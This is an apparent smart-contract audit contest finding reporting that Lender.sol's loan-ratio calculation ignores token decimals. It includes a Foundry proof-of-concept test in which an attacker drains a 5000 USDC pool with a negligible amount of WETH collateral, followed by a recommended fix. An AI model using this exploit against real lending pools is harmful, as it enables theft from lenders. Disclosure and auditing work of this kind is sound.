20,000 USDC
View results
Submission Details
Severity: high
Valid

Tokens with less than 18 decimals allow for draining of funds

Summary

The Lender.sol contract allows users to supply assets which can then be borrowed by providing collateral by other users in a peer-to-peer fashion. As the lending market is open anyone can create a pool with any two assets - loanToken and collateralToken. Whenever a user decides to borrow the loanToken he needs to provide a sufficient amount of collateralToken so that the final ratio of the loan is below a pre-set maxLoanRatio. Essentially the idea is to allow users to borrow from other users with sufficient overcollateralization on their loan in a way that if the loan is defaulted the lender would receive the collateral and not lose funds.

Vulnerability Details

However the protocol does not take into account tokens with 18 decimals and assumes that all tokens added on a pool creation i.e. both loanToken and collateralToken have 18 decimal spots. This is not the case for many major tokens which can be expected to be either added as collateral or as a loan tokens like WBTC (8 decimals), USDC (6 decimals) etc. This lack of accountability allows an attacker to drain the funds supplied by the user who set the pool with a minimum investment. The following PoC shows how this can be done by using USDC/WETH as a pool pair where USDC is the loanToken and WETH is the collateral - quite major and widely used combination:

A few notes:

  1. The PoC uses a fork of Ethereum Mainnet

  2. The maxLoan is set to 2*10**18 which is taken from the official Lender.t.sol test in the repo

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
import {IERC20} from "../src/interfaces/IERC20.sol";
import {WETH} from "solady/src/tokens/WETH.sol";
contract LenderNewTest is Test {
Lender public _lender;
IERC20 public _usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
WETH public _weth = WETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
address bob = vm.addr(0x01);
address attacker = vm.addr(0x02);
address _donator = 0x47ac0Fb4F2D84898e4D9E7b4DaB3C24507a6D503;
function setUp() public {
_lender = new Lender();
}
function test_calculationExploit() external {
vm.startPrank(_donator);
_usdc.transfer(bob, 5000e6);
_usdc.transfer(attacker, 5000e6);
vm.stopPrank();
vm.deal(bob, 5e18);
vm.deal(attacker, 5e18);
vm.startPrank(bob);
_weth.deposit{value: 5e18}();
Pool memory p = Pool({
lender: bob,
loanToken: address(_usdc),
collateralToken: address(_weth),
minLoanSize: 100e6,
poolBalance: 5000e6,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
_usdc.approve(address(_lender), type(uint256).max);
_lender.setPool(p);
vm.stopPrank();
vm.startPrank(attacker);
_weth.deposit{value: 5e18}();
bytes32 poolId = _lender.getPoolId(bob, address(_usdc), address(_weth));
Borrow memory b = Borrow({
poolId: poolId,
debt: 5000e6,
collateral: 1e10 // collateral is WETH --> 0.00000001 --> 0.000018$ to borrow 5k USDC
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
_weth.approve(address(_lender), type(uint256).max);
_lender.borrow(borrows);
vm.stopPrank();
console.log("USDC Balance Attacker: ", _usdc.balanceOf(attacker));
console.log("WETH Balance Attacker: ", _weth.balanceOf(attacker));
}
}

The test can be ran with the following command:

forge test --match-contract LenderNewTest --fork-url [infura_rpc] -vv

The test completes successfully showing how on a pool created by a regular user with 5000 USDC initial loanToken deposit and WETH as collateral, an attacker could borrow all the 5000 USDC with just 0.00000001 WETH (roughly 0.000018$ at todays prices).

Impact

Any pools which have a loan token with less than 18 decimals can be drained with almost insignificant collateral provided.

Note: This issue is bi-directional as a pair where the loanToken has 18 decimals and the collateralToken has less than 18 decimals also breaks the core logic of the protocol by producing an extremely high loanRatio essentially blocking any transaction as the check if (loanRatio > pool.maxLoanRatio) revert RatioTooHigh(); would almost every time cause a revert.

Tools Used

Manual Review / Foundry

Recommendations

Make sure to scale debt and collateral based on the token decimals in order to calculate properly the loanRatio. This can be easily done by changing the loanRatio calculation as follows:

uint256 loanRatio = ((debt * (10**(18 - loanToken.decimals()))) * 10 ** 18) / (collateral * (10 ** (18 - collateralToken.decimals())));

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.